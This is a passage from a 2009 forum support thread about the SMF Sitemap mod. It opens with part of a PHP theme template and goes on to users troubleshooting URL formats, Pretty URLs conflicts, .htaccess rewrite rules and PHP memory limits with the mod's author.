<td class="titlebg2" align="right" nowrap="nowrap" valign="top">
<form action="'
$scripturl'?action=search2" method="post" accept-charset="'$context['character_set'], '" style="margin: 0;">
<a href="'
$scripturl'?action=search;advanced"><img src="'.$settings['images_url'].'/filter.gif" align="middle" style="margin: 0 1ex;" alt="" /></a>
<input type="text" name="search" value="" style="width: 150px;" />&nbsp;
<input type="submit" name="submit" value="'
$txt['search'], '" style="width: 11ex;" />
<input type="hidden" name="advanced" value="0" />'
;

// Search within current topic?
if (!empty($context['current_topic']))
echo '
<input type="hidden" name="topic" value="'
$context['current_topic'], '" />';

// If we're on a certain board, limit it to this board ;).
elseif (!empty($context['current_board']))
echo '
<input type="hidden" name="brd['
$context['current_board'], ']" value="'$context['current_board'], '" />';

echo '
</form>
</td>
</tr>
</table>
</div>'
;





// The main content should go here.
echo '
        <div id="wrapcentre"><a href="http://www.posterdistrict.com">Return to The Poster District</a>
<div id="bodyarea" style="padding: 2em 0px 2em 0px;">'
;
}

function 
template_body_below()
{
global $context$settings$options$scripturl$txt;

echo '
</div>'
;

// Show the "Powered by" and "Valid" logos, as well as the copyright. Remember, the copyright must be somewhere!
echo '

<div id="footerarea" style="text-align: center; padding-bottom: 1ex;'
$context['browser']['needs_size_fix'] && !$context['browser']['is_ie6'] ? ' width: 100%;' '''">
<table cellspacing="0" cellpadding="3" border="0" align="center" width="100%">
<tr>

<td valign="middle" align="center" style="white-space: nowrap; color">
<table cellpadding="1" cellspacing="1" class="copy"><tr><td class="contacts">
'
theme_copyright(), '

</td></tr></table>
</td>

</tr>
<tr>
<td align="center">

</td>
</tr>
</table>'
;

// Show the load time?
if ($context['show_load_time'])
echo '
<span class="smalltext">'
$txt['page_created'], $context['load_time'], $txt['seconds_with'], $context['load_queries'], $txt['queries'], '</span>';

echo '
</div>'
;
}

function 
template_html_below()
{
global $context$settings$options$scripturl$txt$modSettings;

echo '
</body></html>'
;
}

// Show a linktree. This is that thing that shows "My Community | General Category | General Discussion"..
function theme_linktree()
{
global $context$settings$options;

echo '<div class="nav" style="font-size: smaller; margin-bottom: 2ex;">';

// Each tree item has a URL and name. Some may have extra_before and extra_after.
foreach ($context['linktree'] as $link_num => $tree)
{
// Show something before the link?
if (isset($tree['extra_before']))
echo $tree['extra_before'];

// Show the link, including a URL if it should have one.
echo '<b>'$settings['linktree_link'] && isset($tree['url']) ? '<a href="' $tree['url'] . '" class="nav">' $tree['name'] . '</a>' $tree['name'], '</b>';

// Show something after the link...?
if (isset($tree['extra_after']))
echo $tree['extra_after'];

// Don't show a separator for the last one.
if ($link_num != count($context['linktree']) - 1)
echo '&nbsp;>&nbsp;';
}

echo '</div>';
}

// Show the menu up top. Something like [home] [help] [profile] [logout]...
function template_menu()
{
global $context$settings$options$scripturl$txt;

// Are we using right-to-left orientation?
if ($context['right_to_left'])
{
$first 'last';
$last 'first';
}
else
{
$first 'first';
$last 'last';
}

// Show the start of the tab section.
echo '
<div align="center">
<table cellpadding="0" cellspacing="0" border="0" style="margin-left: 10px;">
<tr>
<td class="maintab_' 
$first '">&nbsp;</td>';

foreach ($context['menu_buttons'] as $act => $button)
echo ($button['active_button'] || $context['browser']['is_ie4']) ? '<td class="maintab_active_' $first '">&nbsp;</td>' '' ' <td valign="top" class="maintab_'$button['active_button'] ? 'active_back' 'back''">
<a href="'
$button['href'], '">'$button['title'], '</a>
</td>'
$button['active_button'] ? '<td class="maintab_active_' $last '">&nbsp;</td>' '';

// The end of tab section.
echo '
<td class="maintab_' 
$last '">&nbsp;</td>
</tr>
</table></div>'
;

}

// Generate a strip of buttons.
function template_button_strip($button_strip$direction 'top'$force_reset false$custom_td '')
{
global $settings$buttons$context$txt$scripturl;

// Create the buttons...
foreach ($button_strip as $key => $value)
{
if (isset($value['test']) && empty($context[$value['test']]))
{
unset($button_strip[$key]);
continue;
}
elseif (!isset($buttons[$key]) || $force_reset)
{
if ($value['url'] === '{SUBMIT}')
$buttons[$key] = '<input type="submit" value="' . (isset($value['custom']) ? $value['custom'] : '') . $txt[$value['text']] . '" class="button_strip_submit" />';
else
$buttons[$key] = '<a href="' $value['url'] . '" ' . (isset($value['custom']) ? $value['custom'] : '') . '>' $txt[$value['text']] . '</a>';
}
$button_strip[$key] = $buttons[$key];
}

if (empty($button_strip))
return '<td>&nbsp;</td>';

echo '
<td class="'
$direction == 'top' 'main' 'mirror''tab_' $context['right_to_left'] ? 'last' 'first' '">&nbsp;</td>
<td class="'
$direction == 'top' 'main' 'mirror''tab_back">'implode(' &nbsp;|&nbsp; '$button_strip) , '</td>
<td class="'
$direction == 'top' 'main' 'mirror''tab_' $context['right_to_left'] ? 'first' 'last' '">&nbsp;</td>';
}

?>
Title: Re: Sitemap
Post by: fangweile on March 07, 2009, 01:10:08 AM
After installing the mod without any errors, the version information is incorrect

Version Information:
Forum version: SMF 1.1.8
Current SMF version: SMF 1.1.7
(more detailed)


Any idea
Title: Re: Sitemap
Post by: SlammedDime on March 07, 2009, 06:12:19 PM
That error has nothing to do with this mod.  It has to do with the server cutover we did here at SM.org last night.

0413 - when I get home tonight I'll take a look at yours, I haven't forgotten about you.
Title: Re: Sitemap
Post by: GurusBlog on March 07, 2009, 06:54:37 PM
I have read in google webmaster tools (http://www.google.com/support/webmasters/bin/answer.py?answer=34658&cbid=har4fgqyw3xl&src=cb&lev=answer) that sitemap must have the same url on the forum that of all the urls inside the sitemap.xml. In my case using SMF Sitemap is generating all the urls as http://example.com/ instead of http://www.example.com/ .... How can I fix it?? Any idea??

<urlset>

<url>
<loc>http://www.example.com/forum/index.php</loc>
<lastmod>2009-03-07T17:42:46-06:00</lastmod>
<changefreq>always</changefreq>
<priority>1.0</priority>
</url>

<url>
<loc>http://example.com/forum/investing/</loc>
<lastmod>2009-03-06T06:27:49-06:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>

<url>
<loc>http://example.com/foros/economy/</loc>
<lastmod>2009-03-05T09:06:57-06:00</lastmod>
<changefreq>daily</changefreq>
<priority>0.8</priority>
</url>
Title: Re: Sitemap
Post by: roberto174 on March 07, 2009, 07:23:25 PM
Sorry for asking this if an answer has already been provided, but is there any way to rebuild the sitemap ? I have made some modifications on my forum and i need to regenerate the sitemap, as now, its still showing up  the old links, and Google doesnt like that.

Thank You
Title: Re: Sitemap
Post by: fangweile on March 07, 2009, 08:20:26 PM
Alright, Thanks a lot slammedDime for your great mod. Really helpful ^_^
Title: Re: Sitemap
Post by: SlammedDime on March 07, 2009, 08:57:49 PM
Gurus - You need to change the board url either in Settings.php  or in your Forum Settings in the admin panel

roberto - The sitemap isn't cached, it's generated on the fly, can you link me and point out specific examples of what is not working?
Title: Re: Sitemap
Post by: Paracelsus on March 08, 2009, 05:46:47 AM
SlammedDime,

Sorry if this has been answered already, although I've searched several pages for it...

How can one do a manual update from v1.2.0 to v1.2.2 (SMF 1.1.8)? Replace the old files and run some script or is it not possible?
Title: Re: Sitemap
Post by: SlammedDime on March 08, 2009, 06:05:04 AM
Just uninstall 1.2.0 and install 1.2.2
Title: Re: Sitemap
Post by: Paracelsus on March 08, 2009, 06:42:23 AM
Thanks... I had to do some minor modifications in language files (because of custom changes) but nothing special and everything went ok. ;)
Title: Re: Sitemap
Post by: GurusBlog on March 08, 2009, 06:03:00 PM
Quote from: SlammedDime on March 07, 2009, 08:57:49 PM
Gurus - You need to change the board url either in Settings.php  or in your Forum Settings in the admin panel


Thank you SlammedDime. Either in the admin panel and Settings.php I have the "long" url (the right one)...I don't know how to change sitemap url for having "short" one...

Data from Settings.php
########## Forum Info ##########
$mbname = 'example';      # The name of your forum.
$language = 'english';      # The default language file set for the forum.
$boardurl = 'http://www.example.com/foros';      # URL to your forum's folder. (without the trailing /!)




Title: Re: Sitemap
Post by: SlammedDime on March 08, 2009, 07:08:37 PM
Disable pretty urls and see if it is correct.  If so, it's related to that mod and you'll have to ask for support in that topic.
Title: Re: Sitemap
Post by: GurusBlog on March 08, 2009, 11:20:20 PM
Quote from: SlammedDime on March 08, 2009, 07:08:37 PM
Disable pretty urls and see if it is correct.  If so, it's related to that mod and you'll have to ask for support in that topic.

You are right, is something linked with prettyurl mod....In my case It shows always "short urls"
Title: Re: Sitemap
Post by: kevjkel on March 09, 2009, 10:06:27 AM
Hi
I am really having trouble installing this mod on my outline omega theme. I have the Sitemap options in my control panel, but i cant seem to get the "sitemap" link at the bottom of my page. Will it make any difference for search engines and SEO if i create a menu tab instead.

P.S you have saved us newbies about 1000000000 hours of painful stress trying to create a sitemap for google, by creating this mod. RESPECT man ! :P

Site: http://www.zaparentforum.com (http://www.zaparentforum.com)
Title: Re: Sitemap
Post by: SlammedDime on March 09, 2009, 11:07:50 AM
You can put a link to the sitemap whereever you want on your site, the mod just normally puts it in the footer as that is where it would typically be located.
Title: Re: Sitemap
Post by: kevjkel on March 10, 2009, 04:54:14 AM
Many thanks ! :D
Title: Re: Sitemap
Post by: zerog12avity on March 11, 2009, 11:11:27 AM
Using 2.0B4
I have errors from my google webmaster tools. Is this because of my Pretty URLs mod; can this be fixed?
See attachment; screen shot.
Title: Re: Sitemap
Post by: 0413 on March 11, 2009, 11:36:04 AM
Quote from: SlammedDime on March 07, 2009, 06:12:19 PM
That error has nothing to do with this mod.  It has to do with the server cutover we did here at SM.org last night.

0413 - when I get home tonight I'll take a look at yours, I haven't forgotten about you.

I appreciate your help with this.  I'm still stumped :)
Title: Re: Sitemap
Post by: SlammedDime on March 11, 2009, 01:37:36 PM
try this...

Code (Find) Select
               ', theme_copyright(), '

with

Code (Replace) Select
               ', theme_copyright(), ' | <a href="', $scripturl, '?action=sitemap">', $txt['sitemap'], '</a>
Title: Re: Sitemap
Post by: SlammedDime on March 11, 2009, 01:40:45 PM
Quote from: zerog12avity on March 11, 2009, 11:11:27 AM
Using 2.0B4
I have errors from my google webmaster tools. Is this because of my Pretty URLs mod; can this be fixed?
See attachment; screen shot.
It very well could be.  It can be fixed, but quite honestly, I believe it's an issue the pretty urls mod in the way it rewrites urls in XML documents.  You're probably not using the latest version of the mod because your on Beta 4, so there isn't much troubleshooting to do... I would recommend upgrading to RC1 however and installing the latest version of the mod.  It may not fix the problem just yet, but if Dannii properly updates the pretty urls mod, then it shouldn't be an issue.
Title: Re: Sitemap
Post by: heinandar on March 11, 2009, 04:19:06 PM
I installed your mod and work fine. But when i submint in google site map it shows errors .How can i sovle this Error?
Pls help me.
Title: Re: Sitemap
Post by: SlammedDime on March 11, 2009, 04:44:22 PM
Without knowing the errors, or having a link to your site, it's pretty much impossible to answer your question.

You need to click on details and tell me what the error is, and also provide me with a link to your site.
Title: Re: Sitemap
Post by: heinandar on March 11, 2009, 04:53:25 PM
OK .. You can visit http://mmcybermedia.com/community and Guest can't login . So i create for you . You can view
username test123
Password  test

Edit: detail errors screen shot
Title: Re: Sitemap
Post by: SlammedDime on March 11, 2009, 05:33:27 PM
It's because of your 'disable right mouse click' script, which is truly annoying as well.  If you insist on having that code, you'll need to move it to the appropriate place, which is in /Themes/yourtheme/index.template.php between <head> and </head>
Title: Re: Sitemap
Post by: heinandar on March 11, 2009, 05:51:59 PM
ok.....i uninstalled RC disabled and Resubmit site map in google. Wait a few moment and i'll let you know what happen .
Title: Re: Sitemap
Post by: heinandar on March 11, 2009, 06:03:14 PM
 :'( :'(

still error like above attachment
Title: Re: Sitemap
Post by: SlammedDime on March 11, 2009, 06:09:03 PM
I think you need to give google some time to reindex... it's not like they check the page every few minutes... more like every few hours to every couple of days.
Title: Re: Sitemap
Post by: heinandar on March 11, 2009, 06:20:10 PM
I tried last every 3 months. But i can't success. Everytime i failed.
Title: Re: Sitemap
Post by: SlammedDime on March 11, 2009, 06:27:56 PM
Well how long have you had that mod installed?  It was causing your issues, so if you just now removed it, you need to give google time to reindex your sitemap, which, like I said, won't happen over the course of a few minutes.
Title: Re: Sitemap
Post by: d03boy on March 11, 2009, 07:35:20 PM
Quote from: SlammedDime on March 11, 2009, 01:40:45 PM
Quote from: zerog12avity on March 11, 2009, 11:11:27 AM
Using 2.0B4
I have errors from my google webmaster tools. Is this because of my Pretty URLs mod; can this be fixed?
See attachment; screen shot.
It very well could be.  It can be fixed, but quite honestly, I believe it's an issue the pretty urls mod in the way it rewrites urls in XML documents.  You're probably not using the latest version of the mod because your on Beta 4, so there isn't much troubleshooting to do... I would recommend upgrading to RC1 however and installing the latest version of the mod.  It may not fix the problem just yet, but if Dannii properly updates the pretty urls mod, then it shouldn't be an issue.

I don't necessarily agree that it is Dannii's problem. How is he supposed to determine what URLs you produce? Where does your script get the URLs? I haven't looked at the code yet so forgive me if there is some internal URL generator that you're simply polling.
Title: Re: Sitemap
Post by: SlammedDime on March 11, 2009, 08:19:15 PM
Quote from: d03boy on March 11, 2009, 07:35:20 PM
Quote from: SlammedDime on March 11, 2009, 01:40:45 PM
Quote from: zerog12avity on March 11, 2009, 11:11:27 AM
Using 2.0B4
I have errors from my google webmaster tools. Is this because of my Pretty URLs mod; can this be fixed?
See attachment; screen shot.
It very well could be.  It can be fixed, but quite honestly, I believe it's an issue the pretty urls mod in the way it rewrites urls in XML documents.  You're probably not using the latest version of the mod because your on Beta 4, so there isn't much troubleshooting to do... I would recommend upgrading to RC1 however and installing the latest version of the mod.  It may not fix the problem just yet, but if Dannii properly updates the pretty urls mod, then it shouldn't be an issue.

I don't necessarily agree that it is Dannii's problem. How is he supposed to determine what URLs you produce? Where does your script get the URLs? I haven't looked at the code yet so forgive me if there is some internal URL generator that you're simply polling.
In my latest version, I call a built in SMF function that would normally change the URL, just like SMF does when it builds the RSS feeds.  It also builds urls the same way SMF does.
Title: Re: Sitemap
Post by: RAN on March 12, 2009, 07:42:04 AM
Hi,

I have SMF 1.1.8
Pretty URLs 0.9 and Sitemap 1.2.2 installed.

The problem is when I try use xml link I go to the http://www.topcasinowagering.com/sitemap/
click on XML and gives me a error.  Url apears lik this http://www.topcasinowagering.com/sitemap/?xml

I think is a .htaccess problem.
I try to modify the .htaccess without success.

Try to use
RewriteRule ^sitemap.xml$ /index.php?action=sitemap;xml - dosen't work
RewriteRule ^(sitemap.xml)/?$ ./index.php?pretty;action=$1 [L,QSA] - dosen't work

Can you help me please
I try find the answer in tis forum but without success.

Thank you for your great help 
Title: Re: Sitemap
Post by: SlammedDime on March 12, 2009, 12:13:12 PM
Try
RewriteRule ^sitemap/$ /index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: RAN on March 12, 2009, 01:09:06 PM
Hi,

I try this but dosen't work.

When I disable Pretty Urls it works but when is enable gives me a error. I think is associate with style.css

"The XML page cannot be displayed
Cannot view XML input using style sheet. Please correct the error and then click the Refresh button, or try again later. "

Can you look on http://www.topcasinowagering.com/sitemap/ and click on XML please?

Thank you for your help.
Title: Re: Sitemap
Post by: lennybruce71 on March 12, 2009, 07:40:20 PM
Hi!!

...great mod !!! :)

Just a issue with prettyurl mod. XML sitemap doesn't generate SEO urls!
My configuration is the following:

1) SMF 2.0 beta4 (standalone, no other cms integrated)
2) prettyurls 0.9.1
3) sitemap 2.0.0

Any hints?

That's here:
http://www.acufeniforum.net/index.php?action=sitemap;xml

Thanks in advance,
emiliano
Title: Re: Sitemap
Post by: Smoky "Rider" Blue on March 12, 2009, 08:22:40 PM
hmm then what is this:

http://www.acufeniforum.net/index.php?action=sitemap

looks like it is working to me, maybe im wrong??  :o ;)

all it needs is a style sheet to correct the error at the top  ;)

Title: Re: Sitemap
Post by: lennybruce71 on March 12, 2009, 08:32:59 PM
Take a look at the XML version (forr google purpose). The URLs are not SEO!

http://www.acufeniforum.net/index.php?action=sitemap;xml

Thanks!
emiliano
Title: Re: Sitemap
Post by: Smoky "Rider" Blue on March 12, 2009, 08:37:01 PM
QuoteThis XML file does not appear to have any style information associated with it. The document tree is shown below.
     

this is what im saying, you will need to add the style to it  ;)

me, you can check mine, but i havent gotten around to it, if i do will be glad to share the how  O:)
Title: Re: Sitemap
Post by: lennybruce71 on March 12, 2009, 08:45:29 PM
Thanks, but sorry, I can't understand how a style can change a URL like this:

http://www.acufeniforum.net/index.php?board=39.0

to this one:

http://www.acufeniforum.net/conversando/associazione-acufeni/

???

Thanks!
e.
Title: Re: Sitemap
Post by: Smoky "Rider" Blue on March 12, 2009, 08:57:46 PM
ok first, no a style can not change the urls.. it wont work..

but to clear up that error on: http://www.acufeniforum.net/index.php?action=sitemap;xml

it is needing a style sheet adjustment.. if you had that, the error at the top of the url you gave out, will go away.  ;)
Title: Re: Sitemap
Post by: lennybruce71 on March 12, 2009, 09:09:38 PM
Hei, but that one is not an error! :) It's simply a pure XML file when delivered directly from the browser! :)

SlammedDime,
is your great mod prettyurls compatible?

Thanks!
e.
Title: Re: Sitemap
Post by: SlammedDime on March 12, 2009, 09:52:36 PM
It has nothing to do with the stylesheet.

I'm not sure how Pretty Urls works in SMF 2.0, versus 1.1.x, and since version 2.0.0 of this mod uses SMF functions to change the url into a SEF version without pretty urls, you'd have to ask him how he handles the fix_possible_url function in News.php.
Title: Re: Sitemap
Post by: Smoky "Rider" Blue on March 12, 2009, 10:03:04 PM
Quote from: SlammedDime on March 12, 2009, 09:52:36 PM
It has nothing to do with the stylesheet.

then why the error at the top slammeddime??

just wondering.. will be taking it apart soon, its on my todo list, but im backed up right now..  ;)
Title: Re: Sitemap
Post by: SlammedDime on March 12, 2009, 10:07:44 PM
It's not an error, just your browser telling you that there isn't a stylesheet associated with the XML file.  It isn't required, and isn't needed.
Title: Re: Sitemap
Post by: Smoky "Rider" Blue on March 12, 2009, 10:36:57 PM
maybe im petty, but if my browser is calling it and its not there, dont you think we need it??


note: firefox 3.07  and havent really checked it on other browsers, like i said, havent had time to think on it yet...


but i will, i hope  ;)
Title: Re: Sitemap
Post by: SlammedDime on March 12, 2009, 10:40:26 PM
not really... *most* xml files do not have style sheets attached to them, as they are only really required if your xml file need to be stylized for users to view.  In the case of this XML file, it is not meant for users to read, it is meant for a bot to read, thus a stylesheet is not needed.  Likewise for just about EVERY AJAX call, the XML file returned from AJAX calls do not need a stylesheet attached to them because, well, the user does not see the raw input returned from the call, they see whatever the javascript does with the input.

Your browser isn't really calling it either, again, it's just telling you that one doesn't exist, it's not an error, just a notice.  If it did exist, the browser would use it.
Title: Re: Sitemap
Post by: Smoky "Rider" Blue on March 12, 2009, 10:46:23 PM
that i do understand SlammedDime, but ya know, i hate to see things "unfinished" if the browser is even sending a notice, and then  you get people like me looking, well its like a hang nail.. troublesome.. and to me, that's just not good coding.. but again, its me personal;ly.. no offense and i do thank you for that quick tut.  8)
Title: Re: Sitemap
Post by: SlammedDime on March 12, 2009, 11:51:08 PM
No worries, but I'll never include a stylesheet with it, because again, it's simply unneeded. :)
Title: Re: Sitemap
Post by: videogamemojo on March 13, 2009, 12:16:26 AM
Interesting glitch for me  :D
I have installed the sitemap tool with my tiny portal enabled forum and it seems to work well. I had to add a link myself but that only took a minute.  Odd thing is whenever I view the sitemap it automatically logs me out yet I am still logged in when going back to other links.  Overall, I really don't care about this other than the fact that I wanted to see if the XML part was working.  Works well as is though so thanks for the great mod.
Title: Re: Sitemap
Post by: RAN on March 13, 2009, 05:09:46 AM
Hi,

Can you help me with this error please?

When I disable Pretty Urls it works but when is enable gives me a error. I think is associate with style.css

"The XML page cannot be displayed
Cannot view XML input using style sheet. Please correct the error and then click the Refresh button, or try again later. "

Can you look on http://www.topcasinowagering.com/sitemap/ and click on XML please?

Any tips?

Thank you for your help. 
Title: Re: Sitemap
Post by: lennybruce71 on March 13, 2009, 05:17:13 AM
Quote from: SlammedDime on March 12, 2009, 09:52:36 PM
I'm not sure how Pretty Urls works in SMF 2.0, versus 1.1.x, and since version 2.0.0 of this mod uses SMF functions to change the url into a SEF version without pretty urls, you'd have to ask him how he handles the fix_possible_url function in News.php.

Hi Slammed, thanks for your answer. Please, give me more details! :) I should ask it to prettyurls guys how to fix it? I'd like to contribute and try to look inside the code... could you give me some hints just to know where to search what?

Thanks again,
emiliano
Title: Re: Sitemap
Post by: RAN on March 13, 2009, 10:29:56 AM
Quote from: RAN on March 13, 2009, 05:09:46 AM
Hi,

Can you help me with this error please?

When I disable Pretty Urls it works but when is enable gives me a error. I think is associate with style.css

"The XML page cannot be displayed
Cannot view XML input using style sheet. Please correct the error and then click the Refresh button, or try again later. "

Can you look on http://www.topcasinowagering.com/sitemap/ and click on XML please?

Any tips?

Thank you for your help. 

Please can you help me please?
Title: Re: Sitemap
Post by: SlammedDime on March 13, 2009, 10:55:14 AM
I just get a blank page when trying to view the XML page.  If disabling pretty urls makes it work, then I'm leaning towards it being an issue there, not with this mod.
Title: Re: Sitemap
Post by: RAN on March 13, 2009, 01:03:32 PM
Hi,

Thank you for your help.

The problem is Pretty Urls mod?

Title: Re: Sitemap
Post by: lennybruce71 on March 14, 2009, 08:12:49 PM
Hi SlammedDime,

I debugged it (pretty urls isse on Sitemap 2.0) and I found out the issue (but not the solution :)
In a few words prettyurls cut off all links that are not coming from html tags:

This is a snippet from Prettyurls-Filters.php

// Find all URLs in the buffer
$context['pretty']['search_patterns'][] = '~(<a[^>]+href=|<link[^>]+href=|<form[^>]+?action=)(\"[^\"#]+|\'[^\'#]+)~';


As you can see it considers ONLY urls taken from <a>,<link><form> html tags (and only if they are rounded by ' or ").

In this way <loc> ones are cut out for two regexp groups:
1) they are inside a NOT considered tag (<loc></loc>)
2) they don't have ' ore " quotes.

I'm not able to modify they rexexp to include these one as well. Could you help me? :) I know it is a "pretty urls" issue (and I will diturb they as well) but I think that it could be important for sitemap mod too.

thanks,
emiliano
Title: Re: Sitemap
Post by: SlammedDime on March 14, 2009, 08:29:03 PM
Dannii posted something in his pretty urls topic many many many pages back on what you could add to the sitemap file to make it work, by adding search/replace patterns, but I'm not sure what it is and I can't seem to find it at the moment.  I can't guarantee it will work for 2.0 though.
Title: Re: Sitemap
Post by: lennybruce71 on March 15, 2009, 12:56:33 PM
Ok, I did it.

This fix allow prettyurls mod (0.9.1) to work properly with Sitemap (2.0)
(http://custom.simplemachines.org/mods/index.php?mod=755). Now all
urls inside xml sitemap are seo.

You should change PrettyUrls-Filters.php in this way:

search line (#19):

$context['pretty']['search_patterns'][] = '~(<a[^>]+href=|<link[^>]+href=|<form[^>]+?action=)(\"[^\"#]+|\'[^\'#]+)~';

and replace with:

$context['pretty']['search_patterns'][] = '~(<a[^>]+href=|<link[^>]+href=|<form[^>]+?action=|<loc>)(\"[^\"#]+|\'[^\'#]+|[^<]+)~';

Again, search line(#38):

$context['pretty']['replace_patterns'][] = '~(<a[^>]+href=|<link[^>]+href=|<form[^>]+?action=)(\"[^\"#]+|\'[^\'#]+)~';

and replace with:

$context['pretty']['replace_patterns'][] = '~(<a[^>]+href=|<link[^>]+href=|<form[^>]+?action=|<loc>)(\"[^\"#]+|\'[^\'#]+|[^<]+)~';

Working demo: http://www.acufeniforum.net/sitemap.html
(With SMF 2.0 beta4, SiteMap 2.0, prettyurls 0.9.1)

my 2 cents.
e.
Title: Re: Sitemap
Post by: pastramirye on March 15, 2009, 02:39:58 PM
Hello,
Thanks for the mod.
I did some maintenance on my forum today.
See post - http://www.simplemachines.org/community/index.php?topic=299029.msg1975627#msg1975627 (http://www.simplemachines.org/community/index.php?topic=299029.msg1975627#msg1975627)
Now I'm getting a sitemap error over in Google Webmaster Tools.
Screen shot here -
http://img401.imageshack.us/img401/7575/sitemaperror.jpg (http://img401.imageshack.us/img401/7575/sitemaperror.jpg)
I do not have a robots.txt in place.
Sitemap here - http://www.thebestsandwichintheworld.com/index.php?action=sitemap;xml (http://www.thebestsandwichintheworld.com/index.php?action=sitemap;xml)
I cannot see the issue.
Can you shed any light on this ?
Regards.
Title: Re: Sitemap
Post by: RAN on March 15, 2009, 02:41:15 PM
Hi,

I make this modification with prettyurls mod (0.9.1) and Sitemap (1.2.2)
and dosen't work.

Is necessary change the .htacess file?

Thank you for your help

Title: Re: Sitemap
Post by: lennybruce71 on March 15, 2009, 02:55:18 PM
Quote from: pastramirye on March 15, 2009, 02:39:58 PM
Can you shed any light on this ?
Regards.

You have to give this url to webmaster google tool:
http://www.thebestsandwichintheworld.com/sitemap.xml

It's the reason by which you modified the .htaccess! :)
e.
Title: Re: Sitemap
Post by: lennybruce71 on March 15, 2009, 02:57:52 PM
Quote from: RAN on March 15, 2009, 02:41:15 PM
Hi,

I make this modification with prettyurls mod (0.9.1) and Sitemap (1.2.2)
and dosen't work.

Is necessary change the .htacess file?

Thank you for your help

Your version (1.2.2) should work properly without my mod... I've never tested, but SlammedDime can confirm it...

e.
Title: Re: Sitemap
Post by: RAN on March 15, 2009, 03:00:10 PM
Hi,

If I put http://www.topcasinowagering.com/sitemap.xml on google, gives me an error...

When I disable Pretty Urls it works but when is enable gives me a error. I think is associate with style.css

"The XML page cannot be displayed
Cannot view XML input using style sheet. Please correct the error and then click the Refresh button, or try again later. "


I already try this.
Title: Re: Sitemap
Post by: lennybruce71 on March 15, 2009, 03:26:58 PM
RAN, we're talking about 3 different issues.

1) In my case (with Sitemap 2.0 for SMF 2.0), I could get a working sitemap.xml file but the urls were not SEO. My fix works only on this issue.
2) pastramirye has a working sitemap.xml but gave a wrong address to goggle webmaster tool
3) you don't have a working sitemap.xml, because prettyurls returns a blank page. It is caused by an exception that need to be debugged (as I did for my issue). It could be an expected character that breaks all. The stylesheet is not necessary, believe me.

e.
Title: Re: Sitemap
Post by: pastramirye on March 15, 2009, 03:45:58 PM
@lennybruce71
QuoteYou have to give this url to webmaster google tool:
http://www.thebestsandwichintheworld.com/sitemap.xml
It's the reason by which you modified the .htaccess! :)
e.

"Doh !" *banging head against desk*
That did the trick.
I did not modify the .htaccess for a 301 redirect after using repair_settings. Not necessary.
Thanks for the prompt response.
Regards.
Title: Re: Sitemap
Post by: RAN on March 15, 2009, 04:35:50 PM
Quote from: lennybruce71 on March 15, 2009, 03:26:58 PM
RAN, we're talking about 3 different issues.

1) In my case (with Sitemap 2.0 for SMF 2.0), I could get a working sitemap.xml file but the urls were not SEO. My fix works only on this issue.
2) pastramirye has a working sitemap.xml but gave a wrong address to goggle webmaster tool
3) you don't have a working sitemap.xml, because prettyurls returns a blank page. It is caused by an exception that need to be debugged (as I did for my issue). It could be an expected character that breaks all. The stylesheet is not necessary, believe me.

e.

Any chance to fix this issue? Maybe something in .htacces?
If I disable Pretty Urls works ok....

Thank you for your help
Title: Re: Sitemap
Post by: d03boy on March 15, 2009, 07:13:12 PM
Thanks lennybruce, those new $context fixes seemed to do the trick! Hopefully this can be incorporated into the new versions of prettyurls
Title: Re: Sitemap
Post by: lennybruce71 on March 15, 2009, 07:25:31 PM
RAN, You should check your php error log. Could you access to it and post it here? If not, try to ask to your provider... otherwise, a deep debugging is necessary. FireBug and FirePHP are my friends :)

d03boy, I updated prettyurls mod's post (http://www.simplemachines.org/community/index.php?topic=146969.3260), sharing this very little mod. Now, it's up to Dannii...

e.
Title: Re: Sitemap
Post by: RAN on March 15, 2009, 09:35:24 PM
Quote from: lennybruce71 on March 15, 2009, 07:25:31 PM
RAN, You should check your php error log. Could you access to it and post it here? If not, try to ask to your provider... otherwise, a deep debugging is necessary. FireBug and FirePHP are my friends :)

d03boy, I updated prettyurls mod's post (http://www.simplemachines.org/community/index.php?topic=146969.3260), sharing this very little mod. Now, it's up to Dannii...

e.

Hi,
lennybruce

My error log go in atachement. Have many errors.
I don't know how to start.

Can you see it please?
Thank you   
Title: Re: Sitemap
Post by: lennybruce71 on March 16, 2009, 06:17:47 AM
Hi RAN, there are a lot of errors! :( Your issue about prettyurls is inside them, surely. I could try to give a look, but just for 5 minutes, I don't have a lot of spare time. Give me the following files:

/home/sharinga/public_html/sharing-forums.com/Sources/QueryString.php
/home/sharinga/public_html/sharing-forums.com/Sources/Load.php
/home/sharinga/public_html/sharing-forums.com/Sources/Display.php

If the error is very visible I will give you some hints, otherwise... sorry, but I can't help you! :(

e.
Title: Re: Sitemap
Post by: RAN on March 16, 2009, 06:29:13 AM
Hey

Thank you for your great help

I think this is installations errors.
Yesterday I have deleted the error log.
Today I have no error log

I have this error on server
[Mon Mar 16 07:53:02 2009] [error] [client 00.000.00.000] PHP Fatal error:  Allowed memory size of 25165824 bytes exhausted (tried to allocate 2666271 bytes) in /home/sharinga/public_html/www.topcasinowagering.com/Sources/PrettyUrls-Filters.php on line 16, referer: http://www.www.topcasinowagering.com/sitemap/

Line16 $buffer = preg_replace_callback('~<script.+?</script>~s', 'pretty_scripts_remove', $buffer);
Title: Re: Sitemap
Post by: lennybruce71 on March 16, 2009, 09:13:50 AM
Uhm, good. Seems that you need more memory. If it is the issue, you can set

memory_limit = 30M

in your php.ini file (if you can change).

Otherwise, directly at the beginning  of the page (try first with /Sources/PrettyUrls-Filters.php), adding the following line:

ini_set("memory_limit","30M");

Let me know!
e.
Title: Re: Sitemap
Post by: RAN on March 16, 2009, 09:29:46 AM
Quote from: lennybruce71 on March 16, 2009, 09:13:50 AM
Uhm, good. Seems that you need more memory. If it is the issue, you can set

memory_limit = 30M

in your php.ini file (if you can change).

Otherwise, directly at the beginning  of the page (try first with /Sources/PrettyUrls-Filters.php), adding the following line:

ini_set("memory_limit","30M");

Let me know!
e.

Hi,

I already add this line ini_set("memory_limit","30M"); in  /Sources/PrettyUrls-Filters.php dosen't work.
I don't have any php.ini file I think. Is on the server?

Thank you
Title: Re: Sitemap
Post by: lennybruce71 on March 16, 2009, 09:37:01 AM
What does mean "doesn't work"? do you get an error or simply it doesn't change anything?
Please, delete your logs, re-send a sitemap request with your browser, and re-attach the log!

e.
Title: Re: Sitemap
Post by: RAN on March 16, 2009, 09:49:24 AM
Quote from: lennybruce71 on March 16, 2009, 09:37:01 AM
What does mean "doesn't work"? do you get an error or simply it doesn't change anything?
Please, delete your logs, re-send a sitemap request with your browser, and re-attach the log!
